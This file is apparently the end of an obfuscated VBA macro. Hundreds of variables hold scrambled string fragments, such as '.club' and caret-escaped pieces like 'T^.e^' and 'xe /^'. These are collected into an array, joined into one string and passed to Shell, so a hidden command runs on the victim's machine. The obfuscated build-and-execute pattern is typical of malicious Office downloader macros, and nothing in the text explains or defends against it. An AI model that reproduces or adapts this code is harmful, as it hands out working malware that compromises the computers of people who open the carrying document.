dvarzanik = "xe /^"
ywisv2 = "labsy"
ameze9 = "lujor"
mihmuls = "wpuws"
csezqu3 = ".Wush"
yveby2 = "eolal"
gimxosgubx2 = ";if(o"
azgupt = "rywpu"
ebesm = "lhneo"
fyktofxuq = "eolal"
axsem = "aushn"
zudbe9 = "wpuws"
gemi = "= ""so"
tofe = "repla"
icafva7 = ".club"
gety0 = "alujo"
qhihufvu6 = "iolal"
gykygn = "ywpuh"
iqebkezm = "eolal"
secyfox1 = "olala"
tixi = "wpump"
jefna = "T^.e^"
aqwyhysv7 = "orywp"
yxyhekdo = """:"")."
ijuqv = "amqhn"
wqasozin8 = "yqbil"
dava = "laluj"
ylan = "wpuws"
ybyskud8 = "joryw"
mecy3 = "orywp"
ucityr = "neola"
izsydowry5 = "ywpuw"
uqdys1 = "shneo"
uvawi = "laluj"
kmydrondo2 = "(""yqb"
kwafsydu6 = "eolal"
akezy = "olalu"
ofymr = "Typhn"
ujyzyw = "neola"
ipynp = "ushne"
zojolo = "wpuws"
zazwa = " 2) +"
aras3 = "yushn"
bilonicx0 = "alhne"
evixk = Array(anaku6, matahzesr, yqawnuwi, ovoqv5, nkaqagbin1, mworgac, wixvi0, rixyvko4, qutqebx, ovnobwiqhe3, mejanr7, vboran, ulmyv, hqejqejb, oqbefcinhu3, evidazi4, cilemr2, nyvcigop5, asfaqecxy0, izfumywni8, pasoluk, exdung6, yqtujs, icuwb0, koqgekco, yxyhekdo, tofe, nycyjuh, jwadgoze8, zjisnyvr, ajjig, pzumtuca4, uzejgapq0, gfoxbu7, rlaxamkyzm, ivsusume _
, unwixe9, esguv, redolol1, cnebitrom2, otuff5, mepusu, cpapafj4, qyhda5, udoscyc, ynervaru, fowalym0, idlekyl, uztydvogmu, erxuda5, jadzon, ipebnygxi3, zojolo, ohawew8, xenanu, uzofdado2, arcakhano, otmirm, jyma1, ulwync, vcesu, igohquvo, yzybo2, ecekup2, grixuftytn, apgapsez2, nimaqyd6, yxlegtuwo6, zylacx8, akbogqahl, uqupaqqu5, yvem _
, akiji, uruhkotr9, xfuhyqjyvw7, kmydrondo2, urpixe2, speca9, yponzys, yjfocari3, yryhi9, figjumh0, enbazhi0, owebsob3, dbavozi5, ytirsolby, zubuvl, bqydrejabm, tamfatyvr6, ejxyhyh, ibloqrup, azgupt, ojzokhozfi7, imilsiha6, edwafs, tvihmi, myqpy8, ylid7, avbam, ehbizho1, ymdifvy0, yxegfyru2, oqnora9, mpyxyqcyhp3, cnodpela, svyrre, fesxilxi6, xtahvumitd4 _
, rkufa0, ligomi9, ikxenbesja9, fbegwugre, jsygwaqim, obygvibde1, tuzo, uqor, zylwydc, xoxa7, zaqihn, amop2, enege, iwbejtehjo, fekluqwakx2, yrezseky2, itvolm, mronre7, uvqut1, hotlydle, gimxosgubx2, mgufhapsob8, uglugsylu0, akezy, ybyskud8, hlusbokzew, acytjimgi, obebykwe, oksymoxq1, dadifen, uwpelqaj, azfumyw0, twosdy4, olhewgu7, cpife, txoma _
, kaghe9, izwycyw7, aguzubjy3, gegfuhodj5, rirdemf0, gemi, kvytjobzids4, ukdajqamu8, lxizirno0, kwapkepq, xevrycs, otboxumc, pzawje7, axsem, evywty, jeqoq7, lvywlyvu9, gxegnacfi8, ehhos5, azufraxr, hombehilf, qyjubxi, uqypmypg2, efucbapd, ityt8, wycpet3, ajrusyfr, esbizfo6, uwan, ohjuvdica, sickymwy, ozgacy1, ejulo, djifdi5, ysav2, kjavry _
, ubykent, vkeluta4, osotpuzby5, izsydowry5, upqok6, oguzte, ohhotq8, eposza3, uvawi, biqhir6, ucvefi, acnihpo, agsizo0, waxmufy5, xocqok0, jdobqadx0, yhewymo, abyflabe1, inlash, abafhow8, hamdaqolg, hahu5, fyfigc2, sexe, xzamrydap3, mxuxik, hugyrnu, ggetysqa7, oxurzutl, uxyflok, sdyluxi, ucityr, ameze9, iflic, imes, ynlekmino0 _
, ymhasmetw, upgupebv1, fylwij7, sohda, xodozz, secyfox1, ipynp, igcofen3, ykyphavco, avsagdam, fqapwazzu0, dqusqa, kezicbedd0, osnagywy, buzece, onkyhuhcy, finli, mymkax5, rane, iczezo, apmuk, acaqju, ohvelin5, dkyty0, ihipawva1, ujyzyw, cunde, bqusy7, ryredop, eqcazesi8, vjasva0, oxywobb5, ozpul, ufutybt, browqum8, ivoh7 _
, unmodev8, ewabeh0, ocasqi3, jhermanc6, lgakehy8, adkaku8, ozbymdy, ubnizi2, idenlaldi, azeshiq, jdyhato, refjan, bingijkeml, zxiwo, zulsegobw0, wninhyfp, ebesm, owqifasi8, zedogqukg, edumbu7, agaph0, ycfumzycri, ekukyk5, tpatxow4, itnuwohna, tijqu1, ikluzne8, ivov4, xobcemy, wgyxcypusq2, aras3, iwyd8, kkida4, leqygf, ujybyr2, oxom _
, muswuginh0, emibp8, ocwisd7, dlabeh, qhihufvu6, zavazgo2, yqnuwavgu, enesbuby9, getbacw, dupicb, ofwyffexe1, pmahlexj7, tesca, ugefji6, hnufdu, efic, kanme1, onkanw9, untoxi3, ulyrzon, icafva7, dgumpunro5, ejokuno, yrylu, uflah2, xyzicr8, yvowamje6, bezfopga2, ejdibomy7, yhfokez, ijuqv, lecko, lfulxu, fedxu6, wohamsi9, cife4 _
, icaqunh, edobujta, ybenkybpy5, episk7, ukaremr9, nlutzaja, lfepkypi, afxiqd4, ksojan7, mysgulraj1, avwifmeffo, uwymko5, vcyxwecravj, gsiqyfly, gvoru, ahmydnazf5, rumohhu0, xfuforpitv, ygivzy1, orluvykpo8, tcohbob, lecsipk, rahyjoq6, bilonicx0, mcazgajsamr0, ynlyn, uset0, otogese, cypyqqo3, ucweqywh0, panolci0, wuxojeb1, xybci5, verolrybf2, yzav, tuly9 _
, wysxy0, ilire, uwsaptycu, ylan, donofe3, obotu1, upfifot, epowsitda5, mibogv2, ijmolkojl0, sganegluz, evtufim, zqotu7, hiqywvo7, befhuweq0, zyhobi, yxygynn, buqip2, wamgidkig0, pajerpokk7, tarhyq2, vnyvenu, yveby2, ocvyttis6, tgafkuluq, yftonk, ycnossucne, qopik0, ommozhizfo, xmuccepo, ugewtyfo, ezumqo, jhisaxki8, wabgub, bibrew0, xsarer0 _
, xeppunsudn, pxifcysy5, vmagaxs7, udepy, kpacxokqe, owojjyq1, ocygzy, czadqeg, vgyrlinm7, xgifpug0, bvovigv, isyqeqk4, basage, azymjis1, xannuvno0, cycvofbyfq5, awolibl4, gpado2, iqebkezm, eqgafe, aqhiqq, hygisnydd, ynjuzytq3, tsycople, vyjhohni0, utmenkez, namwelxy0, ywojw, ygizqepqy9, gykygn, eraxqegl9, mxifje5, jjetxuvern, axohip6, orxyryzsa6, zqedjaqsa _
, abyhod, azuxevmy0, zeboz0, yfepax1, jvulwuht, mijonxezd, gwirylq2, fletvesorq, ibyr8, ijin, omuzupm9, ulmopzajla9, umolebs, pkexyxcon7, ajolzeb, wkyly1, osganawr, qurmivk8, zazwa, fibtil, osimraza, ibtizybri0, fiqhiky, axysi, obzunus2, uvryda, antojh9, uknawm, epihloh1, owuwohfy, itrab6, amhovo4, enlulazxo0, dxykhicxe, yzimul8, tixi _
, cqovijja, ulgijfyq, otcusuci, dtogtacg7, wiqpuhmez, wipoqjycc7, dava, uzilja, majabap, kwafsydu6, ehvodudxa, hyhozo6, ofymr, nynrocuk, fikomto, icible, ulfubumy7, ygaqhuz, ipezick8, wmavjyxab, fykfydxahw, kirki6, hfyfyjr5, widemu, upfil, zsagqe9, amift, uqdys1, utxese2, wiqhyz, ovsuvipj2, ywisv2, itak, oxam4, ynudn, mihmuls _
, okaw3, ixnaxakke7, ebjulgucdu9, tursi, zraka, lonru4, tqejomhez, ipazum, cvamje, haglitsacd6, nikpixro, rodaxta8, ehtiht3, ifyjoss9, lmatxahtu0, wytcywo, ubacvowd, tiderca, nofyh9, intod, obecuzwe, oslawp8, ywyldo, gonez9, efveftiqj, ywpag, ykzeftuc, wnepo, opyfk, zisguqwu5, tgyso3, ingogxo, ufnesw9, wlywy7, madal9, edfijher _
, bewmyqc, ycheklase, hohyfjyz, dyka1, umyme4, mwebega, rymig7, mecy3, vsaturyr0, vlyvly2, renxartyp, dfepgo, ukecip, aflim, bohdiqba, ajrawe, gcyrha, igbob, utvebno6, vivrubic, yfozkalq2, uxasvovwe, syjusydn0, yzciwzo, rpomyhbit5, totqeme0, rkiwe, ebutk0, pabgugox9, vwydy, dezo7, dyqzikm, ajecj, ykol0, urofbac4, csezqu3 _
, ibase, kalkecc6, udcyk3, araqfy6, adcijtu2, ekatcuce0, muju, nnujundu, jvecidufd, wipsel8, xytca9, baqo, ozjet, hvuqwajep3, dysycavd7, vxebqy3, mpunfipi, uxumo0, gety0, zvelov, pxevytebq4, jodupky4, ygecevn, utkawiqe, esizuju7, ikafih, xhymdojpo, ibsidihxa6, ejfohhuwli, wqasozin8, xfemmoky5, yzzandohfu, sxakolyxc, gyxipl9, oxhytg5, umnyzam0 _
, zecy4, ymmox, yvxukum, opmapj, cymrih2, ulfyrpibi, cofore8, ilawe, xgubiki, gebibviz6, gmuheq, athyryqy, esnetv, oswoxf, uxfinm1, ligy4, yquvi, ehsofsoqy, ykdic7, hhumifciv, ymykis, yhunmy0, aqwyhysv7, zjepno, aboc, fesykak, deslols8, zudbe9, ypvaza6, rimjasyq1, gaxuxbyq, qzujubuqw, rzaszowp4, dyghojki, ifdyr7, atnerm _
, dimura7, lmersu5, zemyq4, ofhoc, legunmasc, oluboj, ezraweqti, uxuzgu2, kmabbeg, uqiva, scejpozdy5, fyktofxuq, enedw5, okin, pynudgum, cqariwvek, ydkibqa9, hmyndoxlu1, lyne5, icyzg, yqyctaxby, cmepoqoq, wponpolpux6, cxijbeqdob, haxpoxna, ludal, hobde3, uttebq, ifkadf1, lyscuxp7, mkyslunir5, acsem2, wpoxi, tjyzicsy7, ddabupe5, acycxutw _
, kimpyptu, oqseqc, jubhoso9, jjypofe, qoxymyc, jefna, dvarzanik, ynxigpid, efasut0, ezmobl1, bypxydza9)
Shell Join(evixk, ""), ifasanr
End Sub